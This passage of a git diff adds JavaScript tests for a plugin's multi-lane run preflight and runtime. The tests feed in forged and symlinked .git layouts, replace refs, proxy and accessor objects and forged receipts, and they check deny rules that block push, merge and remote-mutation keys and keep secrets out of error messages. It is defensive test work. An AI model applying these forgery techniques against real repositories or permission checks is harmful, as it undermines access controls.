`${repo.worktreePath}/.git`); + } finally { + await repo.cleanup(); + } +}); + +test('untrusted .git layouts are rejected', async () => { + const forged = await forgeGitDirFileRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: forged.root, baseSha: forged.baseSha }), + ); + assert.equal(error.code, 'repository_not_canonical'); + } finally { + await forged.cleanup(); + } + + const symlinked = await createSymlinkedGitDirRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: symlinked.root, baseSha: symlinked.baseSha }), + ); + assert.equal(error.code, 'repository_layout_invalid'); + } finally { + await symlinked.cleanup(); + } +}); + +test('symlink aliases of the canonical repository path are rejected', async () => { + const repo = await createSymlinkAliasRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: `${repo.root}-alias`, baseSha: repo.baseSha }), + ); + assert.equal(error.code, 'repository_not_canonical'); + const canonical = await preflightOk( + twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(canonical.status, 'ready'); + } finally { + await repo.cleanup(); + } +}); + +test('bare repositories and non-repository directories are rejected', async () => { + const bare = await createBareRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: bare.root, baseSha: '0123456789abcdef0123456789abcdef01234567' }), + ); + assert.equal(error.code, 'repository_not_canonical'); + } finally { + await bare.cleanup(); + } + const empty = await createEmptyDirectory(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: empty.root, baseSha: '0123456789abcdef0123456789abcdef01234567' }), + ); + assert.equal(error.code, 'repository_not_canonical'); + } finally { + await empty.cleanup(); + } +}); + +test('missing repositories fail closed before any deeper observation', async () => { + const error = await preflightError(twoLaneManifest({ + repositoryPath: '/definitely/not/present/repository', + baseSha: '0123456789abcdef0123456789abcdef01234567', + })); + assert.equal(error.code, 'repository_missing'); +}); + +test('replace refs shadowing object identity are denied', async () => { + const repo = await createReplaceRefRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(error.code, 'replace_refs_denied'); + } finally { + await repo.cleanup(); + } +}); + +test('an eight-lane run is inside the public bound and reports every child id', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(8, { repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.children.count, 8); + assert.equal(receipt.children.assignment_ids.length, 8); + assert.equal(new Set(receipt.children.assignment_ids).size, 8); + } finally { + await repo.cleanup(); + } +}); + +const KNOWN_UPSTREAM_CODES = new Set([ + 'invalid_type', 'missing_key', 'unknown_key', 'invalid_format', 'out_of_range', + 'depth_exceeded', 'manifest_too_large', 'manifest_too_complex', 'invalid_array', + 'dependency_not_allowed', 'merge_authority_denied', 'executable_content_denied', + 'credential_content_denied', 'replay_or_fallback_denied', 'direct_mode_rejected', + 'overlapping_writer_scope', 'duplicate_scope_pattern', 'proxy_denied', + 'symbol_key_denied', 'aliased_reference_denied', 'non_enumerable_property_denied', + 'own_undefined_denied', 'invalid_json_value', 'invalid_json_type', 'value_depth_exceeded', +]); + +test('preflight errors carry bounded content-free messages from a closed code set', async () => { + const repo = await createLinearRepo(); + try { + const failures = [ + twoLaneManifest({ repositoryPath: repo.root, baseSha: 'f'.repeat(40) }), + twoLaneManifest({ repositoryPath: '/absent/repo', baseSha: repo.baseSha }), + twoLaneManifest([{ assignment_id: 'x' }]), + ]; + const seen = []; + for (const manifest of failures) { + try { + await validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }); + } catch (error) { + seen.push(error); + } + } + const alias = await createSymlinkAliasRepo(); + try { + try { + await validateRunPreflightV1({ + manifest: twoLaneManifest({ repositoryPath: `${alias.root}-alias`, baseSha: alias.baseSha }), + }, { host: SUFFICIENT_HOST }); + } catch (error) { + seen.push(error); + } + } finally { + await alias.cleanup(); + } + for (const error of seen) { + assert.ok(error instanceof RunContractV1Error); + const owned = RUN_PREFLIGHT_ERROR_CODES.includes(error.code); + assert.ok(owned || KNOWN_UPSTREAM_CODES.has(error.code), + `code ${error.code} is outside the closed preflight vocabulary`); + assert.ok(Buffer.byteLength(error.message, 'utf8') <= 200, error.message); + assert.equal(/[\u0000-\u001f]/u.test(error.message), false, JSON.stringify(error.message)); + } + } finally { + await repo.cleanup(); + } +}); + +test('nine children exceed the public maximum with zero git spawns', async () => { + const repo = await createLinearRepo(); + try { + let spawned = false; + const error = await preflightError( + laneManifestsForCount(9, { repositoryPath: repo.root, baseSha: repo.baseSha }), + { spawn: () => { spawned = true; throw new Error('no observation may run'); } }, + ); + assert.equal(error.code, 'preflight_child_count_exceeded'); + assert.equal(error.path, 'assignments'); + assert.equal(spawned, false); + assert.doesNotMatch(error.message, /9/u); + } finally { + await repo.cleanup(); + } +}); + +test('an empty child set is below the public minimum', async () => { + const repo = await createLinearRepo(); + try { + const error = await preflightError( + laneManifestsForCount(0, { repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(error.code, 'preflight_child_count_below_minimum'); + assert.equal(error.path, 'assignments'); + } finally { + await repo.cleanup(); + } +}); + +test('absent or non-array child sets defer to the accepted upstream denials', async () => { + const repo = await createLinearRepo(); + try { + const missing = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + delete missing.assignments; + const missingError = await preflightError(missing); + assert.equal(missingError.code, 'missing_key'); + + const foreign = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + foreign.assignments = { not: 'an array' }; + const typeError = await preflightError(foreign); + assert.equal(typeError.code, 'invalid_type'); + } finally { + await repo.cleanup(); + } +}); + +test('dependency edges keep their precise denial inside the composed pipeline', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const edged = writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']); + edged.depends_on = [ASSIGNMENT_ID_B]; + const manifest = preflightManifest([ + edged, + writerLane(ASSIGNMENT_ID_B, ['src/beta/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await preflightError(manifest); + assert.ok( + ['dependency_not_allowed', 'unknown_key', 'preflight_dependency_edge_denied'].includes(error.code), + error.code, + ); + } finally { + await repo.cleanup(); + } +}); + +test('duplicate child ids keep their precise denial inside the composed pipeline', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const manifest = preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']), + writerLane(ASSIGNMENT_ID_A, ['src/beta/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await preflightError(manifest); + assert.ok( + ['duplicate_assignment_id', 'preflight_duplicate_child_id'].includes(error.code), + error.code, + ); + } finally { + await repo.cleanup(); + } +}); + +test('the ready receipt proves the independent bounded fanout', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(3, { repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.children.independent, true); + assert.deepEqual([...receipt.checks], [...RUN_PREFLIGHT_CHECKS]); + assert.ok(RUN_PREFLIGHT_CHECKS.includes('child_bounds')); + assert.ok(RUN_PREFLIGHT_CHECKS.includes('independent_fanout')); + } finally { + await repo.cleanup(); + } +}); + +test('duplicate writer scopes across lanes keep the accepted overlap denial', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const manifest = preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/shared/**']), + writerLane(ASSIGNMENT_ID_B, ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + let spawned = false; + const error = await preflightError(manifest, { + spawn: () => { spawned = true; throw new Error('no observation may run'); }, + }); + assert.equal(error.code, 'overlapping_writer_scope'); + assert.equal(spawned, false); + } finally { + await repo.cleanup(); + } +}); + +test('CPU capacity denial fires before any git observation', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(8, { + repositoryPath: repo.root, + baseSha: repo.baseSha, + policy: { max_concurrency: 8 }, + }); + let spawned = false; + const error = await preflightError(manifest, { + host: hostFacts({ cpu_parallelism: 7 }), + spawn: () => { spawned = true; throw new Error('no observation may run'); }, + }); + assert.equal(error.code, 'host_cpu_capacity_exceeded'); + assert.equal(error.path, 'capacity'); + assert.equal(spawned, false); + assert.doesNotMatch(error.message, /7|8/u); + } finally { + await repo.cleanup(); + } +}); + +test('RAM capacity denial honors the per-child floor at exact boundaries', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + policy: { max_concurrency: 2 }, + }); + const oneByteShort = 2 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD - 1; + const error = await preflightError(manifest, { + host: hostFacts({ available_ram_bytes: oneByteShort, total_ram_bytes: oneByteShort + 4096 }), + }); + assert.equal(error.code, 'host_ram_capacity_exceeded'); + assert.doesNotMatch(error.message, /536870911|536870912/u); + + const receipt = await preflightOk(manifest, { + host: hostFacts({ available_ram_bytes: 2 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD }), + }); + assert.equal(receipt.capacity.ram_ok, true); + assert.equal(receipt.capacity.required_ram_bytes, 2 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD); + assert.equal(receipt.capacity.cpu_ok, true); + } finally { + await repo.cleanup(); + } +}); + +test('single-lane runs need exactly one CPU slot and one RAM floor', async () => { + const repo = await createLinearRepo(); + try { + const manifest = preflightManifest([writerLane(ASSIGNMENT_ID_A, ['src/alpha/**'])], { + repositoryPath: repo.root, + baseSha: repo.baseSha, + policy: { max_concurrency: 1 }, + }); + const receipt = await preflightOk(manifest, { host: hostFacts({ cpu_parallelism: 1 }) }); + assert.equal(receipt.capacity.source, 'injected'); + assert.equal(receipt.capacity.cpu_parallelism, 1); + assert.equal(receipt.children.scope_pair_checks, 0); + } finally { + await repo.cleanup(); + } +}); + +test('the receipt counts every writer-scope pair the disjointness check compares', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(8, { repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.children.scope_pair_checks, 8 * 7 / 2); + } finally { + await repo.cleanup(); + } +}); + +test('duplicate writer scopes across lanes keep the accepted overlap denial', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const manifest = preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/shared/**']), + writerLane(ASSIGNMENT_ID_B, ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + let spawned = false; + const error = await preflightError(manifest, { + spawn: () => { spawned = true; throw new Error('no observation may run'); }, + }); + assert.equal(error.code, 'overlapping_writer_scope'); + assert.equal(spawned, false); + } finally { + await repo.cleanup(); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs new file mode 100644 index 0000000..15c2b78 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs @@ -0,0 +1,406 @@ +// P33 run-runtime adversarial coverage: hostile keys, proxies, accessors, +// replay/fallback/direct-mode/merge authority, leaked secrets, forged +// receipts, and denied remote mutation. + +import assert from 'node:assert/strict'; +import { spawnSync } from 'node:child_process'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createRunRuntime } from '../mcp/v3/run-runtime.mjs'; +import { + ASSIGNMENT_ID, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + TASK_ID, + createClock, + createFreshRuntime, + createLifecycleFns, + createMemoryAggregateAnchor, + createMemoryArtifactBridge, + createMemoryAttentionBatch, + createMemoryRunJournal, + createMemoryRunStore, + createMemoryScheduler, + createRuntime, + makeAssignment, + makeSubmitRequest, +} from './fixtures/r1-run-runtime-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + }); +} + +function assertContentFree(error) { + const text = `${error.code}|${error.path}|${error.message}`; + assert.equal(text.includes(HOSTILE_SECRET), false); + assert.equal(text.includes(HOSTILE_PATH), false); + assert.equal(text.includes(HOSTILE_TOKEN), false); + assert.equal(text.includes('/tmp'), false); + assert.equal(text.includes('github.com'), false); + assert.ok(Buffer.byteLength(error.message, 'utf8') <= 200); +} + +function countingProxy(target) { + let gets = 0; + return { + proxy: new Proxy(target, { + get(object, key, receiver) { + gets += 1; + return Reflect.get(object, key, receiver); + }, + }), + gets: () => gets, + }; +} + +test('proxy, symbol, and accessor inputs fail closed without invoking traps', async () => { + const { runtime } = createRuntime(); + const proxy = countingProxy(makeSubmitRequest()); + const proxyError = await errorOf(() => runtime.submitRun(proxy.proxy)); + assert.equal(proxyError.code, 'proxy_denied'); + assert.equal(proxy.gets(), 0); + assertContentFree(proxyError); + + const symbolled = makeSubmitRequest(); + Object.defineProperty(symbolled, Symbol('secret'), { value: HOSTILE_SECRET, enumerable: true }); + const symbolError = await errorOf(() => runtime.submitRun(symbolled)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError); + + const accessor = makeSubmitRequest(); + Object.defineProperty(accessor, 'trap', { + enumerable: true, + get() { throw new Error(HOSTILE_SECRET); }, + }); + const accessorError = await errorOf(() => runtime.submitRun(accessor)); + assert.ok(['accessor_property_denied', 'unknown_key', 'exotic_prototype_denied'] + .includes(accessorError.code)); + assertContentFree(accessorError); +}); + +test('replay, fallback, direct-mode, merge, and GitHub keys fail with precise codes', async () => { + const { runtime } = createRuntime(); + const request = makeSubmitRequest(); + const cases = [ + ['fallback', 'replay_or_fallback_denied'], + ['replay', 'replay_or_fallback_denied'], + ['workspace_mode', 'direct_mode_rejected'], + ['direct_mode', 'direct_mode_rejected'], + ['merge', 'merge_authority_denied'], + ['push', 'merge_authority_denied'], + ['create_pr', 'merge_authority_denied'], + ['github', 'remote_mutation_denied'], + ['remote', 'remote_mutation_denied'], + ['worktree', 'lifecycle_authority_denied'], + ['lock', 'lifecycle_authority_denied'], + ['candidate', 'candidate_authority_denied'], + ['lifecycle_root', 'lifecycle_authority_denied'], + ]; + for (const [key, code] of cases) { + const error = await errorOf(() => runtime.submitRun({ ...request, [key]: true })); + assert.equal(error.code, code, key); + assertContentFree(error); + } +}); + +test('unknown assignment, cursor mismatch, and unknown run fail closed', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + + const unknownRun = await errorOf(() => harness.runtime.inspectRun({ run_id: 'missing-run-id' })); + assert.equal(unknownRun.code, 'runtime_run_unknown'); + assertContentFree(unknownRun); + + const unknownAssignment = await errorOf(() => harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: ['not-in-run'], + })); + assert.equal(unknownAssignment.code, 'runtime_assignment_unknown'); + assertContentFree(unknownAssignment); + + const cursor = await errorOf(() => harness.runtime.resumeRun({ + run_id: request.run_id, + cursors: [{ assignment_id: ASSIGNMENT_ID, task_id: 'forged-task', event_cursor: '1' }], + })); + assert.equal(cursor.code, 'cursor_identity_mismatch'); + assertContentFree(cursor); +}); + +test('injected lifecycle throws are mapped to content-free runtime_lifecycle_failed', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, 'completed']]), + }), + lifecycle: createLifecycleFns({ failSettle: true }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const error = await errorOf(() => harness.runtime.resumeRun({ run_id: request.run_id })); + assert.equal(error.code, 'runtime_lifecycle_failed'); + assertContentFree(error); + assert.equal(error.message.includes(HOSTILE_SECRET), false); +}); + +test('invalid clocks and missing assignment bounds fail closed', async () => { + const harness = createRuntime({ clock: () => 'not-a-timestamp' }); + const error = await errorOf(() => harness.runtime.submitRun(makeSubmitRequest())); + assert.equal(error.code, 'invalid_clock'); + assertContentFree(error); + + const empty = await errorOf(() => createRuntime().runtime.submitRun({ + ...makeSubmitRequest(), + assignments: [], + })); + assert.equal(empty.code, 'out_of_range'); + + const nine = Array.from({ length: 9 }, (_, index) => makeAssignment({ + assignmentId: `lane-${index}`, + taskId: `task-${index}`, + writeScope: [`src/${index}/**`], + })); + const overflow = await errorOf(() => createRuntime().runtime.submitRun({ + ...makeSubmitRequest(), + assignments: nine, + })); + assert.equal(overflow.code, 'out_of_range'); +}); + +test('duplicate assignment ids are denied before dispatch', async () => { + const error = await errorOf(() => createRuntime().runtime.submitRun({ + ...makeSubmitRequest(), + assignments: [makeAssignment(), makeAssignment()], + })); + assert.equal(error.code, 'duplicate_assignment_id'); + assertContentFree(error); +}); + +test('injected objects missing required methods fail at factory time', () => { + const store = createMemoryRunStore(); + const journal = createMemoryRunJournal(); + const anchor = createMemoryAggregateAnchor(); + const attention = createMemoryAttentionBatch(); + const scheduler = createMemoryScheduler(); + const artifacts = createMemoryArtifactBridge(); + const lifecycle = createLifecycleFns(); + assert.throws(() => createRunRuntime({ + runStore: { submit: store.submit }, + runJournal: journal, + aggregateAnchor: anchor, + attentionBatch: attention, + scheduler, + artifactBridge: artifacts, + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }), (error) => error.code === 'injected_dependency_invalid'); +}); + +test('remote git mutation stays denied after a successful submit', async () => { + const harness = createRuntime(); + const receipt = await harness.runtime.submitRun(makeSubmitRequest()); + assert.equal(receipt.remote_mutated, false); + assert.equal(receipt.side_effects.remote_mutated, false); + const gitPush = spawnSync('git', ['push', '--dry-run'], { + encoding: 'utf8', + timeout: 5000, + }); + assert.notEqual(gitPush.status, 0); +}); + +test('forged inspect receipts cannot broaden path or candidate authority', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + for (const key of ['worktree', 'branch', 'lock', 'candidate', 'github']) { + const error = await errorOf(() => harness.runtime.inspectRun({ + run_id: request.run_id, + [key]: HOSTILE_PATH, + })); + assert.ok([ + 'unknown_key', + 'lifecycle_authority_denied', + 'candidate_authority_denied', + 'remote_mutation_denied', + ].includes(error.code), key); + assertContentFree(error); + } +}); + +test('fresh inspect then a different assignment body conflicts without a second dispatch', async () => { + const harnessA = createRuntime(); + const request = makeSubmitRequest(); + await harnessA.runtime.submitRun(request); + const fresh = createFreshRuntime(harnessA); + await fresh.runtime.inspectRun({ run_id: request.run_id }); + const error = await errorOf(() => fresh.runtime.submitRun({ + ...request, + assignments: [makeAssignment({ taskId: 'task-hostile' })], + })); + assert.equal(error.code, 'runtime_identity_conflict'); + assertContentFree(error); + assert.equal(harnessA.scheduler.calls.submit, 1); + assert.equal(harnessA.scheduler.calls.delegate.length, 1); +}); + +test('fresh submit-first of a different immutable identity conflicts without replay', async () => { + const harnessA = createRuntime(); + const request = makeSubmitRequest(); + await harnessA.runtime.submitRun(request); + const fresh = createFreshRuntime(harnessA); + const error = await errorOf(() => fresh.runtime.submitRun({ + ...request, + request_idempotency_key: `sha256:${'ab'.repeat(32)}`, + })); + assert.equal(error.code, 'runtime_identity_conflict'); + assertContentFree(error); + assert.equal(harnessA.scheduler.calls.submit, 1); + assert.equal(fresh.scheduler.calls.submit, 1); +}); + +test('incomplete stored identity stays unknown and does not fabricate conflict or success', async () => { + const inner = createMemoryRunStore(); + const store = { + async submit(input) { + return inner.submit(input); + }, + async getByRunId(runId) { + const record = await inner.getByRunId(runId); + return { run_id: record.run_id }; + }, + }; + const harnessA = createRuntime({ runStore: store }); + const request = makeSubmitRequest(); + const first = await harnessA.runtime.submitRun(request); + assert.equal(first.created, true); + assert.equal(harnessA.scheduler.calls.submit, 1); + + const fresh = createFreshRuntime(harnessA, { runStore: store }); + const inspected = await fresh.runtime.inspectRun({ run_id: request.run_id }); + assert.equal(inspected.created, false); + const replay = await fresh.runtime.submitRun(request); + assert.equal(replay.created, false); + assert.equal(replay.status, 'idempotent'); + assert.equal(harnessA.scheduler.calls.submit, 1); + + const unknown = await errorOf(() => fresh.runtime.inspectRun({ run_id: 'missing-run-id' })); + assert.equal(unknown.code, 'runtime_run_unknown'); + assertContentFree(unknown); + const fabricated = await errorOf(() => createFreshRuntime(harnessA, { runStore: store }) + .runtime.submitRun({ + ...request, + request_idempotency_key: `sha256:${'cd'.repeat(32)}`, + })); + assert.equal(fabricated.code, 'runtime_identity_conflict'); + assertContentFree(fabricated); + assert.equal(harnessA.scheduler.calls.submit, 1); +}); + +test('resume of a cancelled lane does not redispatch', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + await harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + }); + harness.scheduler.inspectStatusByAssignment.set(ASSIGNMENT_ID, 'cancelled'); + const resumed = await harness.runtime.resumeRun({ run_id: request.run_id }); + assert.equal(harness.scheduler.calls.submit, 1); + assert.equal(resumed.lanes[0].status, 'cancelled'); + assert.equal(resumed.side_effects.replay, false); + assert.equal(resumed.side_effects.duplicate_dispatch, false); +}); + +function journalKinds(harness, runId) { + return (harness.runJournal._handles.get(runId)?.events ?? []).map((event) => event.kind); +} + +test('restart resume of dispatched=false/unresolved stays nonterminal and blocked', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + delegateErrorFor: new Set([ASSIGNMENT_ID]), + }), + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + const submitted = await harness.runtime.submitRun(request); + assert.equal(submitted.lanes[0].status, 'unresolved'); + assert.equal(submitted.complete_candidate_blocked, true); + assert.equal(submitted.journal.terminal, false); + + harness.scheduler.inspectStatusByAssignment.set(ASSIGNMENT_ID, 'completed'); + const fresh = createFreshRuntime(harness); + const resumed = await fresh.runtime.resumeRun({ run_id: request.run_id }); + assert.equal(resumed.lanes[0].status, 'unresolved'); + assert.equal(resumed.complete_candidate_blocked, true); + assert.equal(resumed.journal.terminal, false); + assert.equal(resumed.journal.run_outcome, null); + assert.equal(resumed.side_effects.replay, false); + assert.equal(resumed.side_effects.duplicate_dispatch, false); + const kinds = journalKinds(harness, request.run_id); + assert.equal(kinds.includes('child_started'), false); + assert.equal(kinds.includes('child_terminal'), false); + assert.equal(kinds.includes('run_terminal'), false); + assert.equal(fresh.lifecycle.cleanupCalls.length, 0); + assert.equal(harness.scheduler.calls.submit, 1); +}); + +test('restart cancel of dispatched=false/unresolved stays unresolved and does not journal-cancel', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + delegateErrorFor: new Set([ASSIGNMENT_ID]), + }), + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const fresh = createFreshRuntime(harness); + const cancelled = await fresh.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancelled.lanes[0].status, 'unresolved'); + assert.equal(cancelled.complete_candidate_blocked, true); + assert.equal(cancelled.journal.terminal, false); + assert.equal(cancelled.journal.run_outcome, null); + assert.notEqual(cancelled.journal.run_outcome, 'cancelled'); + const kinds = journalKinds(harness, request.run_id); + assert.equal(kinds.includes('child_started'), false); + assert.equal(kinds.includes('child_terminal'), false); + assert.equal(kinds.includes('run_terminal'), false); + assert.equal(fresh.lifecycle.cleanupCalls.length, 0); + assert.equal(harness.scheduler.calls.submit, 1); + assert.equal(cancelled.side_effects.replay, false); +}); + +test('unconfirmed cancel remains unresolved and does not set journal cancelled', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ cancelConfirmed: false }), + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const cancelled = await harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancelled.lanes[0].status, 'unresolved'); + assert.equal(cancelled.lanes[0].unresolved?.code, 'safe_cancel_unconfirmed'); + assert.equal(cancelled.complete_candidate_blocked, true); + assert.equal(cancelled.journal.terminal, false); + assert.equal(cancelled.journal.run_outcome, null); + const kinds = journalKinds(harness, request.run_id); + assert.equal(kinds.includes('child_terminal'), false); + assert.equal(kinds.includes('run_terminal'), false); + assert.equal(harness.lifecycle.cleanupCalls.length, 0); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs new file mode 100644 index 0000000..91ee37f --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs @@ -0,0 +1,351 @@ +// P33 run-runtime dependency coverage: compose the frozen P24 store, P25 +// journal, R24A aggregate anchor, R25B aggregate journal, P27 selection +// persistence, and P34 attention batch through injected scoped stubs for +// scheduler, artifact bridge, and lifecycle. + +import assert from 'node:assert/strict'; +import { rm } from 'node:fs/promises'; +import test from 'node:test'; + +import { openAttentionRoot } from '../mcp/v3/attention-batch.mjs'; +import { + createAggregateRunJournal, + createRunJournal, + openAggregateRunJournal, + openRunJournal, +} from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createRunRuntime } from '../mcp/v3/run-runtime.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { + acceptSelectionReply, + persistSelectionQuestionBatch, +} from '../mcp/v3/selection-persistence.mjs'; +import { grokItem } from './fixtures/r1-attention-batch-fixtures.mjs'; +import { + makeResolvedAnchor, +} from './fixtures/r1-run-journal-aggregate-fixtures.mjs'; +import { + ASSIGNMENT_ID, + TASK_ID, + createClock, + createLifecycleFns, + createMemoryArtifactBridge, + createMemoryScheduler, + makeAssignment, + makePrivateRoot, + makeStoreRoot, + makeSubmission, + makeSubmitRequest, +} from './fixtures/r1-run-runtime-fixtures.mjs'; +import { + P27_RUN_ID, + completeAnswers, + derivedRequest, + structuredReply, + withSubmittedAnchor, +} from './fixtures/r1-selection-persistence-fixtures.mjs'; + +function wrapJournal({ journalRoot, store, anchor }) { + return { + async create(options) { + return createRunJournal({ root: journalRoot, store, run_id: options.run_id }); + }, + async open(options) { + return openRunJournal({ root: journalRoot, store, run_id: options.run_id }); + }, + async createAggregate(options) { + return createAggregateRunJournal({ + root: journalRoot, anchor, run_id: options.run_id, + }); + }, + async openAggregate(options) { + return openAggregateRunJournal({ + root: journalRoot, anchor, run_id: options.run_id, + }); + }, + }; +} + +function missingAggregateAnchor() { + return { + async getCoordination() { + throw new RunContractV1Error('aggregate_run_not_found', 'run_id', 'missing'); + }, + }; +} + +function bindLegacyRuntime({ + runStore, + runJournal, + attentionBatch, + scheduler, + artifactBridge, + lifecycle, +}) { + return createRunRuntime({ + runStore, + runJournal, + aggregateAnchor: missingAggregateAnchor(), + attentionBatch, + scheduler, + artifactBridge, + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }); +} + +async function withLegacyRuntime(fn) { + const storeRoot = await makeStoreRoot('r1-p33-dep-store-'); + const journalRoot = await makePrivateRoot('r1-p33-dep-journal-'); + const attentionRoot = await makePrivateRoot('r1-p33-dep-attention-'); + try { + const runStore = await openRunStore(storeRoot); + const runJournal = wrapJournal({ journalRoot, store: runStore, anchor: missingAggregateAnchor() }); + const attentionBatch = await openAttentionRoot(attentionRoot); + const scheduler = createMemoryScheduler(); + const artifactBridge = createMemoryArtifactBridge(); + const lifecycle = createLifecycleFns({ final: true }); + const runtime = bindLegacyRuntime({ + runStore, runJournal, attentionBatch, scheduler, artifactBridge, lifecycle, + }); + return await fn({ + runtime, runStore, runJournal, attentionBatch, scheduler, artifactBridge, + lifecycle, journalRoot, + }); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + await rm(attentionRoot, { recursive: true, force: true }); + } +} + +test('legacy P24/P25 submit is durable, idempotent, and reopens the journal after restart', async () => { + await withLegacyRuntime(async ({ runtime, runStore, scheduler }) => { + const request = makeSubmitRequest(); + const first = await runtime.submitRun(request); + assert.equal(first.status, 'dispatched'); + assert.equal(first.created, true); + assert.equal(first.journal.mode, 'legacy'); + assert.equal(first.journal.run_opened, true); + const stored = await runStore.getByRunId(request.run_id); + assert.equal(stored.run_id, request.run_id); + assert.equal(stored.request_idempotency_key, request.request_idempotency_key); + + const replay = await runtime.submitRun(request); + assert.equal(replay.status, 'idempotent'); + assert.equal(replay.created, false); + assert.equal(scheduler.calls.submit, 1); + assert.equal(scheduler.calls.delegate.length, 1); + + const inspected = await runtime.inspectRun({ run_id: request.run_id }); + assert.equal(inspected.journal.run_opened, true); + assert.equal(inspected.remote_mutated, false); + }); +}); + +test('A submits, fresh B inspects then identical submits, fresh C submit-first against P24', async () => { + await withLegacyRuntime(async (harness) => { + const request = makeSubmitRequest(); + const first = await harness.runtime.submitRun(request); + assert.equal(first.created, true); + assert.equal(harness.scheduler.calls.submit, 1); + const stored = await harness.runStore.getByRunId(request.run_id); + assert.equal(stored.request_idempotency_key, request.request_idempotency_key); + + const runtimeB = bindLegacyRuntime(harness); + const inspected = await runtimeB.inspectRun({ run_id: request.run_id }); + 